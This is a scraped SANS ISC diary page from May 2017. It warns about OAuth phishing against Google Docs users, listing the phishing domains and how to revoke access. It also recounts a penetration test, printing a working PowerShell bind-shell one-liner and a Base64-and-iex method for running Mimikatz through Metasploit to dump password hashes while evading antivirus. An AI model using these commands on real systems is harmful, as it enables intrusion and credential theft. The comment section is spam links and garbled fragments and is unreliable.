ISC Stormcast For Thursday, May 4th 2017 https://isc.sans.edu/podcastdetail.html?id=5486

OAUTH phishing against Google Docs ? beware!

Published: 2017-05-03
Last Updated: 2017-05-03 19:54:08 UTC
by Bojan Zdrnja (Version: 2)
6 comment(s)

We got several reports (thanks to Seren Thompson, Tahir Khan and Harry Vann) about OAUTH phishing attacks against Google users. The phishing attack arrives, of course, as an e-mail where it appears that a user (potentially even one on your contact list, so it looks very legitimate) has shared a document.
An image of such an e-mail is shown below:

Phishing email
If you click on the link (Open in Docs), you will be redirected to the OAUTH2 service on accounts.google.com – the target URL will look like this:

hxxs://accounts.google.com/o/oauth2/auth?client_id=1535050614-8i934kb9l0snc0iocqb0iv27lli0r858.apps.googleusercontent.com&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=hxxps%3A%2F%2Fgoogledocs.g-docs.win%2Fg.php&customparam=customparam

In browser, this is what you get:


As you can see, it appears as Google Docs wants full access to my Gmail as well as my contacts. Of course, this is not real Google Docs – the attacker has simply named his “application” Google Docs – this can be verified by clicking on the Google Docs text where the real web site behind this and developer info is shown:

Obviously, once you allow access it is game over - the attacker probably uses the phishied Gmail account to further distribute phishing e-mails - we'll see if we can get more details.

So far at least the following domains are included:
googledocs.g-docs.win
googledocs.g-docs.pro

The domains are definitely malicious – the URL leads to jsserver.info where a fake alert that the computer is infected is shown.

UPDATE:

There are more domains - they all just change the TLD's for googledocs.g-docs.X or googledocs.docscloud.X. Most of them (if not all) appear to have been taken down (thanks @Jofo).

It also appears that Google has reacted quickly and are now recognizing e-mails containing malicious (phishing) URL's so the message "Be careful with this message. Similar messages were used to steal people's personal information. Unless you trust the sender, don't click links or reply with personal information." will be shown when such an e-mail is opened.

Finally, if you accidentally clicked on "Allow", go to https://myaccount.google.com/u/0/permissions?pli=1 to revoke permissions.

--
Bojan
@bojanz
INFIGO IS

6 comment(s)
May Issue of OUCH Security Awareness Newsletter: "Securing Kids Online" https://securingthehuman.sans.org/ouch

Powershelling with exploits

Published: 2017-05-03
Last Updated: 2017-05-03 11:15:39 UTC
by Bojan Zdrnja (Version: 2)
1 comment(s)

It should be no surprise to our regular readers how powerful PowerShell (pun intended) really is. In last couple of years, it has become the main weapon of not only white hat penetration testing, but also various attackers.

Recently I had to perform some pivoting through a compromised box. It had a specific exploit which was not available in Metasploit, but allowed an attacker to execute any command on the vulnerable server. The caveat was that the server could not establish external connection, however all connections to the server were allowed (it was an internal engagement) so instead of using a reverse shell, I used a simple bind TCP shell (powershell).

The easiest way to do this is to use the Invoke-PowerShellTcp.ps1 script from the Nishang collection (https://github.com/samratashok/nishang). This is a reverse PowerShell script, so a little bit of modification was needed to make it a bind TCP shell, as below:

$listener = [System.Net.Sockets.TcpListener]7777;$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\"PS \\" + (pwd).Path + \\" \\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

This one-liner will create a bind TCP PowerShell on port 7777. Sweet. Now that this works, the rest of the job should be easy right? We can normally use the exploit/multi/handler module from Metasploit which will allow us to connect to the previously open PowerShell. While this cannot be upgraded to Meterpreter, the logical next step would be to invoke Mimikatz to dump available hashes.

However, here there was a small problem. Since reverse connections cannot be created, the way this is normally done is by using the windows/manage/powershell/load_script post exploitation module. This module loads a PowerShell script and executes it. The idea here is to use it to invoke Mimikatz (the Invoke-Mimikatz.ps1 script from the PowerSploit collection at https://github.com/PowerShellMafia/PowerSploit). 

For some reason, though, this did not work. The script was correctly pushed by encoding it however the execution somewhere failed. Inspection of the load_script module showed that it is very simple: it just takes the PowerShell script (or a directory) and uses the stage_psh_env method from the Msf::Post::Windows::Powershell module. This method is defined in the lib/msf/core/post/windows/powershell.rb file and we can see that it takes the source script, splits it into chunks of up to 14999 bytes, encodes with Base64 and sends to the remote shell as a variable. After it has been successfully uploaded, the Metasploit module decodes the variable and executes it with the iex PowerShell command (Invoke Expression).

But, as I said, for some reason this did not work. The default PowerShell script got transferred and executed correctly, but Invoke-Mimikatz.ps1 simply did not work. So after some experimenting I found out that I can do the same thing as Metasploit – I can create a variable which contains Base64 encoded PowerShell script and execute it after decoding with the iex command. This is actually done twice: once by my script and the other time by Metasploit while transferring this new script.

This turned out to be the solution – first I had to encode Invoke-Mimikatz.ps1 into a (huge) variable and then simply copy it into a new script that will eventually be pushed with the windows/manage/powershell/load_script module.

Encoding Invoke-Mimikatz.ps1 to Base64 is simple – we can use PowerShell to do that too:

PS D:\> $temp = Get-Content .\Invoke-Mimikatz.ps1
PS D:\> $bytes = [System.Text.Encoding]::UTF8.GetBytes($temp)
PS D:\> $encoded = [System.Convert]::ToBase64String($bytes)

Now the variable $encoded has the Base64 encoded Invoke-Mimikatz.ps1 script, so the resulting PS1 script will look like this:

$encoded = 'ZnVuY3 .. rest of the Base64 encoded script '
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($encoded)) | iex

Simple and effective. And once the hashes have been dumped … we know it‘s game over really. And as a plus, this will also evade most (all?) anti-viruses that might be detecting the Invoke-Mimikatz.ps1 script directly.

Do you have other interesting PowerShell exploitation stories?

Let us know!

--
Bojan
@bojanz
INFIGO IS

1 comment(s)

Comments

What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

Diary Archives